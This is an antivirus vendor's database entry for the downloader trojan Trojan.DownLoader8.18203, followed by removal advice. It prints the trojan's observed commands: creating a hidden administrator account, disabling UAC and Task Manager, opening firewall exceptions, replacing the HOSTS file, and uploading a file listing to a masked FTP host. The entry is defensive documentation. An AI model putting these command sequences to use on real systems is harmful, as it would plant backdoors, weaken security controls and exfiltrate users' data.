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Trojan.DownLoader8.18203
Added to the Dr.Web virus database:
2013-03-18
Virus description added:
2013-03-18
Technical Information
To ensure autorun and distribution:
Modifies the following registry keys:
[<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'run' = '%WINDIR%\software\atxp.vbs'
Creates or modifies the following files:
%WINDIR%\Tasks\At10.job
%WINDIR%\Tasks\At9.job
%WINDIR%\Tasks\At8.job
%WINDIR%\Tasks\At13.job
%WINDIR%\Tasks\At12.job
%WINDIR%\Tasks\At11.job
%WINDIR%\Tasks\At7.job
%WINDIR%\Tasks\At3.job
%WINDIR%\Tasks\At2.job
%WINDIR%\Tasks\At1.job
%WINDIR%\Tasks\At6.job
%WINDIR%\Tasks\At5.job
%WINDIR%\Tasks\At4.job
Malicious functions:
To bypass firewall, removes or modifies the following registry keys:
[<HKLM>\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List] '%WINDIR%\software\wget.exe' = '%WINDIR%\software\wget.exe:*:Enabled:winvnc'
[<HKLM>\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List] '%WINDIR%\software\wput.exe' = '%WINDIR%\software\wput.exe:*:Enabled:winvnc'
[<HKLM>\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List] '<SYSTEM32>\ftp.exe' = '<SYSTEM32>\ftp.exe:*:Enabled:winvnc'
To complicate detection of its presence in the operating system,
blocks execution of the following system utilities:
Windows Task Manager (Taskmgr)
blocks the following features:
User Account Control (UAC)
Creates and executes the following:
%WINDIR%\software\wput.exe C:\Temp\Ddir.txt ftp://av#########02008aa@avon075.ftp.narod.ru/ftpin/Ddir.txt
Executes the following:
<SYSTEM32>\at.exe 11:00 /interactive /every:M,T,W,Th,F,S,Su %WINDIR%\software\ftp.vbs
<SYSTEM32>\at.exe 10:00 /interactive /every:M,T,W,Th,F,S,Su %WINDIR%\software\ftp.vbs
<SYSTEM32>\at.exe 12:00 /interactive /every:M,T,W,Th,F,S,Su %WINDIR%\software\ftp.vbs
<SYSTEM32>\at.exe 15:00 /interactive /every:M,T,W,Th,F,S,Su %WINDIR%\software\ftp.vbs
<SYSTEM32>\at.exe 13:00 /interactive /every:M,T,W,Th,F,S,Su %WINDIR%\software\ftp.vbs
<SYSTEM32>\reg.exe add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\winlogon\SpecialAccounts\Userlist" /v Admin1 /t reg_dword /d 0 /f
<SYSTEM32>\net1.exe accounts /maxpwage:unlimited
<SYSTEM32>\at.exe /DELETE /yes
<SYSTEM32>\at.exe 09:00 /interactive /every:M,T,W,Th,F,S,Su %WINDIR%\software\ftp.vbs
<SYSTEM32>\at.exe 00:00 /interactive /every:M,T,W,Th,F,S,Su %WINDIR%\software\ftp.vbs
<SYSTEM32>\reg.exe delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ControlPanel\NameSpace\{D6277990-4C6A-11CF-8D87-00AA0060F5BF}" /f
<SYSTEM32>\at.exe 23:00 /interactive /every:M,T,W,Th,F,S,Su %WINDIR%\software\ftp.vbs
<SYSTEM32>\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
<SYSTEM32>\ping.exe -n 1800 127.0.0.1
<SYSTEM32>\reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
<SYSTEM32>\at.exe 19:00 /interactive /every:M,T,W,Th,F,S,Su %WINDIR%\software\ftp.vbs
<SYSTEM32>\at.exe 17:00 /interactive /every:M,T,W,Th,F,S,Su %WINDIR%\software\ftp.vbs
<SYSTEM32>\at.exe 20:00 /interactive /every:M,T,W,Th,F,S,Su %WINDIR%\software\ftp.vbs
<SYSTEM32>\at.exe 22:00 /interactive /every:M,T,W,Th,F,S,Su %WINDIR%\software\ftp.vbs
<SYSTEM32>\at.exe 21:00 /interactive /every:M,T,W,Th,F,S,Su %WINDIR%\software\ftp.vbs
<SYSTEM32>\net1.exe user
<SYSTEM32>\chcp.com 1251
<SYSTEM32>\cmd.exe /c ""%WINDIR%\Software\winxp.cmd" "
<SYSTEM32>\netsh.exe firewall add allowedprogram "<SYSTEM32>\ftp.exe" winvnc enable
<SYSTEM32>\reg.exe add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v run /d "%WINDIR%\software\atxp.vbs" /f
<SYSTEM32>\cmd.exe /c ""%WINDIR%\Software\win.cmd" "
<SYSTEM32>\wscript.exe "%WINDIR%\software\win.vbs"
<SYSTEM32>\reg.exe query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v ProductName
<SYSTEM32>\wscript.exe "%WINDIR%\software\winxp.vbs"
<SYSTEM32>\find.exe "ProductName"
<SYSTEM32>\net1.exe user Admin1 /add
<SYSTEM32>\attrib.exe +R +S +H %WINDIR%\software /D /S
<SYSTEM32>\net1.exe user Admin1 13102008
<SYSTEM32>\net1.exe user Admin1 /active:yes
<SYSTEM32>\net1.exe localgroup Администраторы Admin1 /add
<SYSTEM32>\netsh.exe firewall add allowedprogram "%WINDIR%\Software\wget.exe" winvnc enable
<SYSTEM32>\netsh.exe firewall add allowedprogram "%WINDIR%\Software\wput.exe" winvnc enable
<SYSTEM32>\attrib.exe -R -S -H <DRIVERS>\etc\hosts /S
<SYSTEM32>\attrib.exe +R +S +H %WINDIR%\software\*.* /s
<SYSTEM32>\attrib.exe +R +S +H <DRIVERS>\etc\hosts /S
Modifies file system :
Creates the following files:
%WINDIR%\software\data.vbs
%WINDIR%\software\ftp.vbs
%WINDIR%\software\atwin7.vbs
%WINDIR%\software\atxp.vbs
%WINDIR%\software\win.vbs
C:\Temp\Ddir.txt
%HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\KHMHGZ4F\12stulev[1]
%WINDIR%\software\win7.vbs
%WINDIR%\software\winxp.vbs
%WINDIR%\software\ftp.cmd
%WINDIR%\software\win.cmd
%WINDIR%\software\atwin7.cmd
%WINDIR%\software\atxp.cmd
%WINDIR%\software\win7.cmd
%WINDIR%\software\wput.exe
%WINDIR%\software\hosts
%WINDIR%\software\winxp.cmd
%WINDIR%\software\wget.exe
Sets the 'hidden' attribute to the following files:
%WINDIR%\software\win.vbs
%WINDIR%\software\win7.cmd
%WINDIR%\software\wget.exe
%WINDIR%\software\win.cmd
%WINDIR%\software\winxp.vbs
%WINDIR%\software\wput.exe
%WINDIR%\software\win7.vbs
%WINDIR%\software\winxp.cmd
%WINDIR%\software\atwin7.vbs
%WINDIR%\software\atxp.cmd
<DRIVERS>\etc\hosts
%WINDIR%\software\atwin7.cmd
%WINDIR%\software\ftp.cmd
%WINDIR%\software\ftp.vbs
%WINDIR%\software\atxp.vbs
%WINDIR%\software\data.vbs
Substitutes the HOSTS file.
Network activity:
Connects to:
'12###lev.com':80
'localhost':1040
'av#####.ftp.narod.ru':21
TCP:
UDP:
DNS ASK 12###lev.com
DNS ASK av#####.ftp.narod.ru
Miscellaneous:
Searches for the following windows:
ClassName: 'IEFrame' WindowName: ''
ClassName: 'MS_AutodialMonitor' WindowName: ''
ClassName: 'MS_WebcheckMonitor' WindowName: ''
ClassName: 'EDIT' WindowName: ''
ClassName: 'Shell_TrayWnd' WindowName: ''
ClassName: '' WindowName: ''
Curing recommendations
Windows
macOS
Linux
Android
If the operating system (OS) can be loaded (either normally or in safe mode), download Dr.Web Security Space and run a full scan of your computer and removable media you use. More about Dr.Web Security Space .
If you cannot boot the OS, change the BIOS settings to boot your system from a CD or USB drive. Download the image of the emergency system repair disk Dr.Web® LiveDisk , mount it on a USB drive or burn it to a CD/DVD. After booting up with this media, run a full scan and cure all the detected threats.
Use Dr.Web Anti-virus for macOS to run a full scan of your Mac.
If the mobile device is operating normally, download and install Dr.Web for Android. Run a full system scan and follow recommendations to neutralize the detected threats.
If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
Once you have activated safe mode, install the Dr.Web for Android onto the infected handheld and run a full scan of the system; follow the steps recommended for neutralizing the threats that have been detected;
Switch off your device and turn it on as normal.
Find out more about Dr.Web for Android
Download Dr.Web for Android
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